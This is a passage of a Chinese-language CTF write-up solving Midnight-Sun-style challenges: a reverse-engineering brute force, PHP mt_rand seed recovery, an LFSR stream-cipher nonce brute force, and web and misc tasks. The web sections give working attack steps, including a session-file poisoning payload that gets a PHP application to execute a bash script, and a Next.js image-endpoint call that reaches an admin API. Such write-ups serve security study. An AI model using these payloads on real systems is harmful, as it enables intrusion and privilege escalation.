0x32, 0x95, 0x7B, 0x91, 0x8D, 0x82, 0x9F, 0x86, 0xF8, 0x91,
0xC8, 0x78, 0xDE, 0x4E, 0x21, 0xAA, 0xFB, 0x5B
};
vector<char> flagn;
unsigned long long magic[] = { 0x359 ,841 ,0xffffffff80000000,1,0xffffffff80000000 ,981 };
int get_byte = 0;
int start = 0;
int break_triger = 0;
void dfs(int depeth,int pre,int num) {
if (num == 25)
{
for(int i=0;i<25;i++)
{
printf("%c", flagn[i]);
}
printf("\n");
return;
}
int key = (depeth + 1) * pre % 6;
int flag = 0;
for (int i = 32; i < 126; i++)
{
if (((i + 177573LL) * magic[key]) % 0x41 == ida_chars[depeth])
{
char re = i;
flagn.push_back(re);
flag=1;
dfs(depeth+1,i,num+1);
flagn.pop_back();
}
}
if (flag == 0)return;
}
int main() {
dfs(9,123, 0);
}
好巧不巧正好是最后一个,或许我应该直接从小写字符开始爆破的。
Crypto
Mt. Random
源代码如下。
<?php
session_start();
$flag = "";
function flag_to_numbers($flag) {
$numbers = [];
foreach (str_split($flag) as $char) {
$numbers[] = ord($char);
}
return $numbers;
}
function non_continuous_sample($min, $max, $gap_start, $gap_end) {
$rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
if ($rand_num >= $gap_start) {
$rand_num += ($gap_end - $gap_start);
}
return $rand_num;
}
if(!str_starts_with($flag, "midnight{")){
echo "Come back later.\n";
exit();
}
$flag_numbers = flag_to_numbers($flag);
if (isset($_GET['generate_samples'])) {
header('Content-Type: application/json');
// Maybe we can recover these constants
$min = 0;
$max = 0;
$gap_start = 0;
$gap_end = 0;
$seed = mt_rand(0, 10000); // Varying seed
$samples = [];
foreach ($flag_numbers as $number) {
mt_srand($seed + $number);
$samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
}
echo json_encode(["samples" => $samples]);
exit();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Mt. Random</title>
</head>
<body>
<h1>Hiking Guide</h1>
<p>This mountain is boring, I'm going to sample alot of seeds!</p>
<a href="?generate_samples=1">Get a new sample</a>
</body>
</html>
大意是将flag编码,然后设置随机种子,接着在设定的范围内产生随机值。
提示是Maybe we can recover these constants,因此可以恢复min、max、gap_start、gap_end。
import requests
samples = []
for i in range(100):
try:
res = requests.get("http://mtrandom-1.play.hfsc.tf:51237/?generate_samples=1").json()["samples"]
samples.append(res)
except Exception as e:
pass
print(samples)
拿了一百组数据同non_continuous_sample方法一起分析,发现min和max很好确定,是1和256。
而当随机数大于gap_start的时候,会加上gap_end-gap_start的值,这里把它称为gap的值。
通过观察数据,可以发现按顺序递增排列的时候,数据在某个阶段会存在一个较大的递增增量,那么这个增量就应该是gap的值了,而增量前的数据,就是gap_start的值。
from collections import Counter
samples = [[1, 183, 26, 150, 183, 14, 60, 207, 99, 1, 209, 150, 26, 89, 207, 60, 198, 89, 14, 238, 76, 68],
[228, 45, 158, 24, 45, 246, 244, 233, 29, 228, 30, 24, 158, 177, 233, 244, 74, 177, 246, 2, 158, 248],
[173, 99, 219, 207, 99, 59, 223, 218, 42, 173, 180, 207, 219, 81, 218, 223, 179, 81, 59, 246, 227, 202],
[15, 14, 39, 30, 14, 228, 75, 19, 7, 15, 17, 30, 39, 21, 19, 75, 209, 21, 228, 179, 150, 99],
[156, 248, 14, 183, 248, 220, 171, 19, 191, 156, 246, 183, 14, 84, 19, 171, 33, 84, 220, 188, 91, 87],
[31, 30, 224, 90, 30, 32, 195, 63, 183, 31, 174, 90, 224, 186, 63, 195, 59, 186, 32, 38, 183, 27],
[151, 150, 240, 219, 150, 237, 32, 26, 36, 151, 85, 219, 240, 253, 26, 32, 70, 253, 237, 9, 232, 85],
[87, 253, 96, 223, 253, 165, 63, 197, 212, 87, 159, 223, 96, 84, 197, 63, 188, 84, 165, 210, 226, 82],
[97, 217, 161, 59, 217, 169, 170, 26, 221, 97, 156, 59, 161, 81, 26, 170, 235, 81, 169, 231, 180, 229],
[187, 186, 162, 225, 186, 66, 228, 153, 89, 187, 12, 225, 162, 32, 153, 228, 29, 32, 66, 75, 165, 71],
[6, 1, 159, 37, 1, 189, 31, 167, 213, 6, 225, 37, 159, 90, 167, 31, 224, 90, 189, 197, 37, 250],
[150, 232, 220, 196, 232, 65, 88, 208, 175, 150, 57, 196, 220, 90, 208, 88, 61, 90, 65, 34, 231, 189],
[92, 170, 63, 183, 170, 255, 11, 42, 20, 92, 219, 183, 63, 169, 42, 11, 84, 169, 255, 196, 48, 38],
[243, 150, 250, 167, 150, 185, 183, 227, 158, 243, 29, 167, 250, 206, 227, 183, 1, 206, 185, 96, 223, 254],
[8, 17, 89, 84, 17, 75, 64, 72, 247, 8, 213, 84, 89, 180, 72, 64, 235, 180, 75, 99, 92, 189],
[165, 75, 66, 256, 75, 254, 230, 196, 193, 165, 75, 256, 66, 44, 196, 230, 3, 44, 254, 151, 94, 55],
[225, 253, 249, 24, 253, 152, 92, 65, 206, 225, 183, 24, 249, 235, 65, 92, 158, 235, 152, 201, 158, 72],
[218, 204, 179, 256, 204, 12, 235, 89, 32, 218, 7, 256, 179, 183, 89, 235, 88, 183, 12, 217, 39, 190],
[25, 234, 237, 82, 234, 88, 232, 27, 207, 25, 219, 82, 237, 252, 27, 232, 68, 252, 88, 89, 240, 35],
[46, 208, 181, 209, 208, 74, 84, 48, 193, 46, 191, 209, 181, 153, 48, 84, 218, 153, 74, 198, 41, 21],
[57, 1, 90, 221, 1, 183, 243, 190, 150, 57, 220, 221, 90, 41, 190, 243, 197, 41, 183, 183, 247, 159],
[12, 256, 81, 5, 256, 221, 12, 15, 74, 12, 194, 5, 81, 94, 15, 12, 156, 94, 221, 151, 17, 82],
[84, 211, 170, 74, 211, 206, 211, 163, 60, 84, 246, 74, 170, 159, 163, 211, 180, 159, 206, 90, 69, 214],
[220, 17, 158, 226, 17, 251, 203, 14, 6, 220, 215, 226, 158, 55, 14, 203, 81, 55, 251, 92, 89, 31],
[34, 94, 225, 225, 94, 31, 248, 63, 33, 34, 185, 225, 225, 60, 63, 248, 71, 60, 31, 206, 183, 97],
[178, 157, 172, 97, 157, 213, 29, 218, 151, 178, 252, 97, 172, 210, 218, 29, 97, 210, 213, 28, 156, 90],
[56, 196, 215, 172, 196, 222, 183, 83, 96, 56, 95, 172, 215, 1, 83, 183, 14, 1, 222, 210, 195, 237],
[65, 17, 221, 62, 17, 180, 97, 81, 71, 65, 232, 62, 221, 15, 81, 97, 30, 15, 180, 163, 82, 10],
[35, 38, 202, 1, 38, 242, 230, 207, 11, 35, 193, 1, 202, 157, 207, 230, 41, 157, 242, 191, 235, 24],
[160, 183, 222, 11, 183, 199, 61, 44, 239, 160, 202, 11, 222, 229, 44, 61, 56, 229, 199, 7, 190, 208],
[211, 181, 84, 42, 181, 40, 152, 75, 239, 211, 187, 42, 84, 80, 75, 152, 205, 80, 40, 229, 197, 88],
[81, 99, 214, 233, 99, 202, 87, 29, 241, 81, 205, 233, 214, 75, 29, 87, 70, 75, 202, 214, 192, 253],
[72, 32, 177, 52, 32, 218, 22, 188, 151, 72, 253, 52, 177, 69, 188, 22, 80, 69, 218, 67, 252, 37],
[82, 237, 19, 174, 237, 24, 249, 167, 92, 82, 74, 174, 19, 77, 167, 249, 213, 77, 24, 151, 229, 207],
[207, 174, 25, 35, 174, 69, 256, 172, 200, 207, 204, 35, 25, 199, 172, 256, 221, 199, 69, 45, 191, 243],
[49, 64, 210, 204, 64, 209, 34, 5, 215, 49, 157, 204, 210, 4, 5, 34, 79, 4, 209, 49, 207, 172],
[29, 38, 36, 248, 38, 247, 204, 152, 251, 29, 60, 248, 36, 69, 152, 204, 196, 69, 247, 239, 84, 174],
[224, 239, 218, 172, 239, 201, 195, 244, 65, 224, 26, 172, 218, 207, 244, 195, 69, 207, 201, 175, 84, 153],
[78, 13, 15, 73, 13, 218, 5, 165, 234, 78, 182, 73, 15, 216, 165, 5, 24, 216, 218, 68, 171, 235],
[90, 229, 214, 62, 229, 25, 52, 161, 15, 90, 192, 62, 214, 256, 161, 52, 208, 256, 25, 184, 60, 229],
[46, 231, 23, 166, 231, 179, 65, 212, 247, 46, 152, 166, 23, 12, 212, 65, 48, 12, 179, 192, 157, 92],
[70, 80, 11, 57, 80, 226, 92, 24, 26, 70, 242, 57, 11, 254, 24, 92, 248, 254, 226, 198, 237, 233],
[252, 166, 161, 84, 166, 215, 209, 231, 72, 252, 24, 84, 161, 156, 231, 209, 23, 156, 215, 195, 164, 225],
[63, 26, 228, 71, 26, 189, 178, 8, 41, 63, 168, 71, 228, 49, 8, 178, 249, 49, 189, 240, 15, 216],
[34, 210, 4, 64, 210, 228, 1, 78, 237, 34, 59, 64, 4, 74, 78, 1, 53, 74, 228, 163, 169, 61],
[248, 38, 198, 96, 38, 225, 216, 23, 82, 248, 9, 96, 198, 207, 23, 216, 91, 207, 225, 213, 37, 200],
[62, 65, 218, 222, 65, 197, 229, 43, 2, 62, 3, 222, 218, 50, 43, 229, 96, 50, 197, 182, 174, 43],
[206, 173, 234, 94, 173, 46, 155, 203, 169, 206, 253, 94, 234, 160, 203, 155, 180, 160, 46, 171, 11, 239],
[6, 68, 74, 168, 68, 233, 250, 165, 155, 6, 188, 168, 74, 6, 165, 250, 46, 6, 233, 178, 199, 88],
[253, 34, 256, 254, 34, 167, 69, 78, 47, 253, 224, 254, 256, 154, 78, 69, 188, 154, 167, 90, 166, 185],
[95, 241, 206, 15, 241, 52, 236, 194, 173, 95, 223, 15, 206, 210, 194, 236, 42, 210, 52, 256, 36, 187],
[231, 173, 57, 44, 173, 162, 176, 253, 241, 231, 51, 44, 57, 68, 253, 176, 95, 68, 162, 242, 240, 6],
[199, 1, 155, 42, 1, 202, 225, 201, 219, 199, 90, 42, 155, 53, 201, 225, 186, 53, 202, 81, 215, 222],
[167, 56, 82, 228, 56, 223, 99, 39, 70, 167, 232, 228, 82, 44, 39, 99, 251, 44, 223, 21, 241, 227],
[37, 219, 217, 38, 219, 51, 200, 175, 89, 37, 26, 38, 217, 218, 175, 200, 244, 218, 51, 226, 207, 154],
[56, 52, 191, 12, 52, 38, 27, 73, 205, 56, 59, 12, 191, 25, 73, 27, 181, 25, 38, 2, 32, 96],
[200, 46, 63, 57, 46, 85, 229, 32, 91, 200, 214, 57, 63, 68, 32, 229, 174, 68, 85, 92, 168, 49],
[38, 51, 16, 51, 51, 49, 25, 255, 38, 38, 86, 51, 16, 37, 255, 25, 21, 37, 49, 84, 184, 54],
[253, 206, 183, 10, 206, 47, 21, 211, 207, 253, 153, 10, 183, 46, 211, 21, 234, 46, 47, 223, 67, 168],
[235, 175, 70, 5, 175, 190, 227, 249, 245, 235, 89, 5, 70, 194, 249, 227, 14, 194, 190, 72, 34, 86],
[60, 40, 21, 220, 40, 211, 71, 216, 193, 60, 23, 220, 21, 44, 216, 71, 38, 44, 211, 150, 255, 232],
[160, 54, 195, 221, 54, 150, 212, 163, 91, 160, 237, 221, 195, 7, 163, 212, 56, 7, 150, 156, 211, 49],
[89, 224, 165, 225, 224, 54, 184, 157, 8, 89, 79, 225, 165, 49, 157, 184, 72, 49, 54, 58, 155, 201],
[31, 155, 42, 49, 155, 22, 227, 34, 212, 31, 175, 49, 42, 70, 34, 227, 9, 70, 22, 243, 41, 192],
[77, 41, 6, 91, 41, 37, 58, 250, 174, 77, 218, 91, 6, 31, 250, 58, 217, 31, 37, 176, 3, 184],
[230, 28, 216, 18, 28, 76, 234, 60, 223, 230, 197, 18, 216, 226, 60, 234, 159, 226, 76, 93, 23, 150],
[10, 235, 67, 162, 235, 72, 211, 179, 84, 10, 39, 162, 67, 158, 179, 211, 233, 158, 72, 4, 241, 250],
[44, 244, 64, 37, 244, 249, 1, 220, 48, 44, 218, 37, 64, 50, 220, 1, 30, 50, 249, 38, 226, 19],
[68, 51, 167, 19, 51, 50, 53, 28, 252, 68, 216, 19, 167, 79, 28, 53, 27, 79, 50, 208, 1, 224],
[12, 28, 3, 155, 28, 78, 88, 152, 91, 12, 64, 155, 3, 82, 152, 88, 242, 82, 78, 226, 245, 1],
[255, 31, 236, 37, 31, 226, 224, 72, 214, 255, 254, 37, 236, 256, 72, 224, 176, 256, 226, 44, 3, 68],
[207, 233, 150, 6, 233, 232, 51, 55, 220, 207, 87, 6, 150, 229, 55, 51, 15, 229, 232, 74, 239, 216],
[77, 198, 205, 57, 198, 51, 188, 198, 61, 77, 225, 57, 205, 152, 198, 188, 74, 152, 51, 82, 202, 209],
[195, 151, 49, 223, 151, 220, 224, 183, 220, 195, 166, 223, 49, 33, 183, 224, 228, 33, 220, 69, 41, 7],
[216, 161, 88, 65, 161, 49, 172, 8, 161, 216, 176, 65, 88, 83, 8, 172, 219, 83, 49, 89, 96, 207],
[22, 190, 33, 155, 190, 168, 174, 231, 93, 22, 154, 155, 33, 213, 231, 174, 99, 213, 168, 250, 159, 4],
[73, 45, 87, 23, 45, 99, 235, 21, 15, 73, 4, 23, 87, 85, 21, 235, 39, 85, 99, 40, 241, 224],
[241, 240, 5, 189, 240, 255, 75, 6, 233, 241, 70, 189, 5, 225, 6, 75, 167, 225, 255, 31, 77, 154],
[24, 159, 92, 16, 159, 3, 70, 23, 163, 24, 43, 16, 92, 215, 23, 70, 212, 215, 3, 66, 72, 24],
[51, 45, 65, 62, 45, 63, 88, 204, 74, 51, 39, 62, 65, 179, 204, 88, 54, 179, 63, 187, 223, 68],
[48, 67, 1, 188, 67, 2, 84, 47, 77, 48, 53, 188, 1, 168, 47, 84, 62, 168, 2, 216, 204, 70],
[153, 229, 96, 94, 229, 237, 51, 201, 73, 153, 175, 94, 96, 208, 201, 51, 58, 208, 237, 60, 185, 189],
[185, 223, 181, 89, 223, 185, 186, 253, 184, 185, 224, 89, 181, 165, 253, 186, 249, 165, 185, 227, 162, 63],
[249, 240, 27, 70, 240, 7, 248, 173, 11, 249, 11, 70, 27, 85, 173, 248, 85, 85, 7, 34, 82, 59],
[192, 232, 165, 205, 232, 95, 39, 163, 67, 192, 71, 205, 165, 99, 163, 39, 10, 99, 95, 73, 233, 166],
[80, 198, 209, 213, 198, 41, 47, 158, 218, 80, 217, 213, 209, 252, 158, 47, 15, 252, 41, 73, 180, 89],
[237, 82, 153, 207, 82, 195, 219, 195, 219, 237, 14, 207, 153, 243, 195, 219, 212, 243, 195, 169, 85, 163],
[73, 45, 87, 23, 45, 99, 235, 21, 15, 73, 4, 23, 87, 85, 21, 235, 39, 85, 99, 40, 241, 224],
[241, 21, 46, 91, 21, 19, 62, 13, 217, 241, 2, 91, 46, 15, 13, 62, 14, 15, 19, 22, 159, 151],
[90, 37, 217, 91, 37, 82, 182, 244, 96, 90, 51, 91, 217, 64, 244, 182, 164, 64, 82, 211, 158, 46],
[256, 7, 4, 23, 7, 80, 154, 233, 50, 256, 180, 23, 4, 192, 233, 154, 163, 192, 80, 237, 168, 256],
[50, 175, 80, 46, 175, 222, 82, 251, 44, 50, 76, 46, 80, 46, 251, 82, 64, 46, 222, 220, 84, 62],
[190, 197, 229, 55, 197, 83, 13, 81, 78, 190, 229, 55, 229, 32, 81, 13, 84, 32, 83, 1, 71, 81],
[83, 210, 219, 32, 210, 202, 203, 153, 236, 83, 29, 32, 219, 242, 153, 203, 218, 242, 202, 57, 239, 78],
[51, 22, 235, 179, 22, 47, 224, 164, 72, 51, 74, 179, 235, 234, 164, 224, 202, 234, 47, 91, 219, 220],
[7, 251, 45, 41, 251, 208, 226, 33, 21, 7, 218, 41, 45, 67, 33, 226, 83, 67, 208, 253, 49, 8],
[215, 162, 185, 254, 162, 162, 201, 63, 34, 215, 5, 254, 185, 186, 63, 201, 244, 186, 162, 165, 212, 256],
[26, 167, 192, 177, 167, 53, 82, 206, 220, 26, 207, 177, 192, 74, 206, 82, 180, 74, 53, 2, 173, 166],
[209, 248, 87, 152, 248, 73, 95, 210, 61, 209, 230, 152, 87, 66, 210, 95, 39, 66, 73, 160, 184, 236],
[151, 169, 246, 96, 169, 234, 57, 39, 34, 151, 179, 96, 246, 178, 39, 57, 61, 178, 234, 238, 80, 73]]
def get_max(array):
array.sort()
max_difference = 0
split_index = 0
for i in range(1, len(array)):
difference = array[i] - array[i - 1]
if difference > max_difference:
max_difference = difference
split_index = i
smaller_array = array[:split_index]
smaller_array_max = max(smaller_array)
return smaller_array_max
max_list = []
for i in samples:
max_list.append(get_max(i))
counter = Counter(max_list)
most_common_count = counter.most_common(1)[0][1]
most_common_max = 0
for item, count in counter.items():
if count == most_common_count and item > most_common_max:
most_common_max = item
print(most_common_max)
将这组数递增排序,接着求数组中的两两差值,按照最大差值将数组分开,然后求较小的数组中的最大值,这个时候的最大值就是gap_start了。
但是由于随机性,可能有那么一两组数会在后面也会随机到较大增量的数,所以需要求这组数中出现次数最多的最大的数,结果是99。
<?php
session_start();
$flag = "midnight{";
function flag_to_numbers($flag)
{
$numbers = [];
foreach (str_split($flag) as $char) {
$numbers[] = ord($char);
}
return $numbers;
}
function non_continuous_sample($min, $max, $gap_start, $gap_end)
{
$rand_num = mt_rand($min, $max - ($gap_end - $gap_start));
if ($rand_num >= $gap_start) {
$rand_num += ($gap_end - $gap_start);
}
return $rand_num;
}
if (!str_starts_with($flag, "midnight{")) {
echo "Come back later.\n";
exit();
}
$res = [81, 96, 235, 178, 96, 30, 241, 58, 68];
$flag_numbers = flag_to_numbers($flag);
// Maybe we can recover these constants
$min = 1;
$max = 256;
$gap_start = 99;
for ($gap_end = 99; $gap_end < 256; $gap_end++) {
for ($seed = 0; $seed < 10000; $seed++) {
$samples = [];
foreach ($flag_numbers as $number) {
mt_srand($seed + $number);
$samples[] = non_continuous_sample($min, $max, $gap_start, $gap_end);
}
echo "$gap_end: $gap_end,seed: $seed\n";
if ($samples === $res) {
var_dump("fuckyou");
var_dump($seed);
exit();
}
}
}
?>
根据题目,开头必为midnight{,因此可以用来爆破。
已知gap_start为99,而max为256,故gap_end在99到256之间,而一开始的seed在10000内产生,这个爆破次数可以接受,结果是gap_end为149,seed为7488。
<?php
function non_continuous_sample($min, $max, $gap_start, $gap_end, $seed)
{
srand($seed);
$rand_num = rand($min, $max - ($gap_end - $gap_start));
if ($rand_num >= $gap_start) {
$rand_num += $gap_end - $gap_start;
}
return $rand_num;
}
$min = 1;
$max = 256;
$gap_start = 99;
$gap_end = 149;
$seed = 7488;
function flag_to_numbers($flag)
{
$numbers = [];
foreach (str_split($flag) as $char) {
$numbers[] = ord($char);
}
return $numbers;
}
$table = "1234567890qwertyuiopasdfghjklzxcvbnm_{}";
$table = flag_to_numbers($table);
$samples = [81, 96, 235, 178, 96, 30, 241, 58, 68, 81, 78, 178, 235, 171, 58, 241, 179, 171, 30, 65, 175, 8];
$c = 0;
$flag = "";
echo("[</br>");
foreach ($samples as $n) {
foreach ($table as $t) {
$generated_sample = non_continuous_sample($min, $max, $gap_start, $gap_end, $seed + $t);
if ($generated_sample === $n) {
echo("$c =>['" . chr($t) . "'],</br>");
}
}
$c += 1;
}
echo("]</br>");
?>
接下来就是继续爆破了,但是最后某些位置的字符会生成一样的随机结果,好在不多,而且flag是有意义的字符串,所以比较好辨认。
输出结果如下,前9位和最后1位是midnight{和},因此可以筛一下。
[
0 =>['f'],
0 =>['m'],
1 =>['i'],
2 =>['u'],
2 =>['d'],
3 =>['n'],
4 =>['i'],
5 =>['2'],
5 =>['g'],
6 =>['h'],
7 =>['t'],
8 =>['{'],
9 =>['f'],
9 =>['m'],
10 =>['1'],
11 =>['n'],
12 =>['u'],
12 =>['d'],
13 =>['_'],
14 =>['t'],
15 =>['h'],
16 =>['3'],
17 =>['_'],
18 =>['2'],
18 =>['g'],
19 =>['4'],
19 =>['q'],
19 =>['x'],
20 =>['p'],
21 =>['j'],
21 =>['}'],
]
最后依次打印。
<?php
$chars = [
0 => ['m'],
1 => ['i'],
2 => ['d'],
3 => ['n'],
4 => ['i'],
5 => ['g'],
6 => ['h'],
7 => ['t'],
8 => ['{'],
9 => ['f', 'm'],
10 => ['1'],
11 => ['n'],
12 => ['u', 'd'],
13 => ['_'],
14 => ['t'],
15 => ['h'],
16 => ['3'],
17 => ['_'],
18 => ['2', 'g'],
19 => ['4', 'q', 'x'],
20 => ['p'],
21 => ['}']
];
function generate_combinations($chars, $index = 0, $current = "")
{
if ($index >= count($chars)) {
echo $current . PHP_EOL . "</br>";
return;
}
foreach ($chars[$index] as $char) {
generate_combinations($chars, $index + 1, $current . $char);
}
}
generate_combinations($chars);
?>
输出结果如下。
midnight{f1nu_th3_24p}
midnight{f1nu_th3_2qp}
midnight{f1nu_th3_2xp}
midnight{f1nu_th3_g4p}
midnight{f1nu_th3_gqp}
midnight{f1nu_th3_gxp}
midnight{f1nd_th3_24p}
midnight{f1nd_th3_2qp}
midnight{f1nd_th3_2xp}
midnight{f1nd_th3_g4p}
midnight{f1nd_th3_gqp}
midnight{f1nd_th3_gxp}
midnight{m1nu_th3_24p}
midnight{m1nu_th3_2qp}
midnight{m1nu_th3_2xp}
midnight{m1nu_th3_g4p}
midnight{m1nu_th3_gqp}
midnight{m1nu_th3_gxp}
midnight{m1nd_th3_24p}
midnight{m1nd_th3_2qp}
midnight{m1nd_th3_2xp}
midnight{m1nd_th3_g4p}
midnight{m1nd_th3_gqp}
midnight{m1nd_th3_gxp}
比较像的是midnight{f1nd_th3_g4p}和midnight{m1nd_th3_g4p},交了一下,第二个对了。
ikea
fact check
非预期了
拖ida64能看到flag
midnight{s0me0ne_sh0u1d_f4cT_cH3ck_tH3s3_AIs}
dancing bits
题目:
import os
import zlib
from flask import Flask, request, jsonify
from secrets import token_bytes
app = Flask(__name__)
# The secret key and nonce for the DancingBits stream cipher
SECRET_KEY = int.from_bytes(token_bytes(4), 'big')
NONCE = int.from_bytes(token_bytes(4), 'big')
FLAG = ""
def lfsr(state):
bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1
return (state << 1) | bit
def rotl(x, k):
return ((x << k) | (x >> (8 - k))) & 0xff
def swap(x):
return ((x & 0x0f) << 4) | ((x & 0xf0) >> 4)
def dancingbits_encrypt(plaintext, key, nonce):
state = (key << 32) | nonce
ciphertext = bytearray()
for byte in plaintext:
state = lfsr(state)
ks_byte = (state >> 24) & 0xff
c = byte ^ ks_byte
c = rotl(c, 3)
c = swap(c)
ciphertext.append(c)
return ciphertext
def dancingbits_decrypt(ciphertext, key, nonce):
state = (key << 32) | nonce
plaintext = bytearray()
for byte in ciphertext:
state = lfsr(state)
ks_byte = (state >> 24) & 0xff
c = swap(byte)
c = rotl(c, -3)
p = c ^ ks_byte
plaintext.append(p)
return plaintext
@app.route('/encrypted_flag', methods=['GET'])
def encrypted_flag():
compressed_flag = zlib.compress(FLAG.encode('utf-8'))
encrypted_flag = dancingbits_encrypt(compressed_flag, SECRET_KEY, NONCE)
return encrypted_flag
@app.route('/decrypt_oracle', methods=['POST'])
def decrypt_oracle():
encrypted_data = request.data
if len(encrypted_data) < 1:
return jsonify(status=500, message="Error: Data too short")
try:
decrypted_data = dancingbits_decrypt(encrypted_data, SECRET_KEY, NONCE)
decompressed_data = zlib.decompress(decrypted_data)
for i in range(len(decompressed_data.decode('utf-8'))):
if decompressed_data.decode('utf-8')[i] == FLAG[i]:
return jsonify(status=500, message="Error: CTF character at index found: " + str(i))
return jsonify(status=200, message="Success")
except Exception as e:
return jsonify(status=500, message="Error")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
题解:
题目中decrypt_oracle()
下rotl(c, -3)
写法有误,导致无法利用web端的decrypt_oracle。
但通过flag已知前缀midnight{
可获得nonce的18bit数据,又由分析可知此系统中决定lfsr输出的因素只有32位的nonce,爆破所有可能nonce下密文解密的结果,若符合格式则得解。
import zlib, requests,sys
from secrets import token_bytes
def lfsr(state):
bit = ((state >> 31) ^ (state >> 21) ^ (state >> 1) ^ state) & 1 # mask已知
return (state << 1) | bit
def rotl(x, k):
if k > 0:
return ((x << k) | (x >> (8 - k))) & 0xff # 高k位移到低k位
if k < 0:
return ((x >> -k) | (x << (8 + k))) & 0xff
def swap(x):
return ((x & 0x0f) << 4) | ((x & 0xf0) >> 4) # 前后4位交换
def find_max_same(a, b):
for i in range(len(a)):
if a[:i] != b[:i]:
return a[:i - 1]
def dancingbits(cs, key, nonce):
state = (key << 32) | nonce
plain = []
for c in cs:
state = lfsr(state)
ks_byte = (state >> 24) & 0xff
c = swap(c)
c = rotl(c, -3)
m = c ^ ks_byte
plain.append(m)
return bytes(plain)
url = 'http://dancingbits-1.play.hfsc.tf:23105'
req = requests.get(url + '/encrypted_flag')
encrypted_flag = req.content
print(encrypted_flag)
FLAG = "midnight{"
c1 = zlib.compress(FLAG.encode('utf-8')) # flag = zlib.decompress(compressed_flag)
FLAG = "midnight{asdfho234_dakjfbk2_0HB_test}"
c2 = zlib.compress(FLAG.encode('utf-8')) # flag = zlib.decompress(compressed_flag)
known = find_max_same(c1, c2)
print(len(known))
NONCE = 0
SECRET_KEY = int.from_bytes(token_bytes(4), 'big') # 无关紧要,随机取
for i in range(len(known)):
c = encrypted_flag[i]
c = swap(c)
c = rotl(c, -3)
ks_byte = c ^ known[i]
if i == 0:
NONCE = ks_byte
print('ks =', bin(ks_byte)[2:].zfill(8))
else:
NONCE = (NONCE << 1) + (ks_byte & 1)
tmp = 32 - 19 # 实际测试测试,发现是 最高位未知+中间18位+低13位未知
NONCE1 = NONCE << tmp # 0+xxx+x
for i in range(1 << tmp):
NONCE1 += 1
tmp_compressed_flag = dancingbits(encrypted_flag, SECRET_KEY, NONCE1)
try:
tmp_flag = zlib.decompress(tmp_compressed_flag)
except:
continue
if b'midnight{' in tmp_flag:
print(tmp_flag)
sys.exit(1)
NONCE2 = (NONCE << tmp)+(1<<31) # 1+xxx+x
for i in range(1 << tmp):
NONCE2 += 1
tmp_compressed_flag = dancingbits(encrypted_flag, SECRET_KEY, NONCE2)
try:
tmp_flag = zlib.decompress(tmp_compressed_flag)
except:
continue
if b'midnight{' in tmp_flag:
print(tmp_flag)
sys.exit(1)
# midnight{th3_h0t_n3w_str3am_c1pher}
WEB
matchmaker
属于是非预期了,官方忘把日志给删了,日志里面找flag就行了
findianajones
题目一开始只给了cmd和path两个参数,猜测cmd可以传入被执行的php函数,path则是其参数,想到传入?cmd=readfile&path=index.php
来读取源代码:
<?php
ini_set("allow_url_fopen", 0);
ini_set("allow_url_include", 0);
session_start();
if(isset($_GET['cmd'])){
$_GET['cmd'](strval($_GET['path'])); # One argument for babies
echo "Still no shell? ".$_SESSION['attempts']." tries and counting :-)<br>\n";
$_SESSION['attempts'] = (isset($_SESSION['attempts']) ? $_SESSION['attempts']+1 : $_SESSION['attempts']=1);
if(isset($_GET['hiddenschmidden'])){
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w")
);
$proc = proc_open(['chmod','+x',strval($_GET['path'])], $descriptorspec, $pipes);
proc_close($proc);
$proc = proc_open([strval($_GET['path'])], $descriptorspec, $pipes2); #No argument for haxors
echo @stream_get_contents($pipes2[1]);
proc_close($proc);
}
die();
}
发现当传入hiddenschmidden
是,path
会被拿去给proc_open
执行,执行ls
命令后发现目录下面存在flag_dispenser
文件,但需要传入GIVEMEFLAG
参数。执行phpinfo()
后发现session文件存储在/var/www/sessions
中,可以在$_GET['cmd'](strval($_GET['path']));
利用session_decode
函数来污染session文件。payload如下:
<?php
session_start();
$exp = '#!/bin/bash
./flag_dispenser GIVEMEFLAG
';
$_SESSION[$exp] = '';
echo session_encode();
将脚本输出的值url编码后%23%21%2Fbin%2Fbash%0A%2E%2Fflag%5Fdispenser%20GIVEMEFLAG%0A%7Cs%3A0%3A%22%22%3B
提交给path
就行
成功污染session文件。
midnight{j00_f0und_m3_but_was_th4t_wut_uR_l00kinG_4?}
mouldylocks
观察js页面发现有一个设置admin的api /api/admin/setAdmin
, 通过调用 /_next/image?url=/api/admin/setAdmin?username=crypt0n&w=64&q=100
把自己设置成admin后访问flag地址。
midnight{y3t_@n0th3r_un3xp3ted_mIddl3ware_problem???}
MISC
sanity
一个直接的签到题,将题目给的shell命令放到终端执行就出flag了
whistle
本题是考了一个G-CODE
我们找到一个在线网站进行解析,发现有许多的重复项目,我们手动修一下可以大致看出来两个东西
前面很大一部分都是对redacted
的重复,尝试了几次将其输入进flag中发现都不对,故我们将其理解为干扰项,也就是router_hacking?
才是真的flag值,我们故flag包裹上midnight{}
即可
flag:midnight{router_hacking?}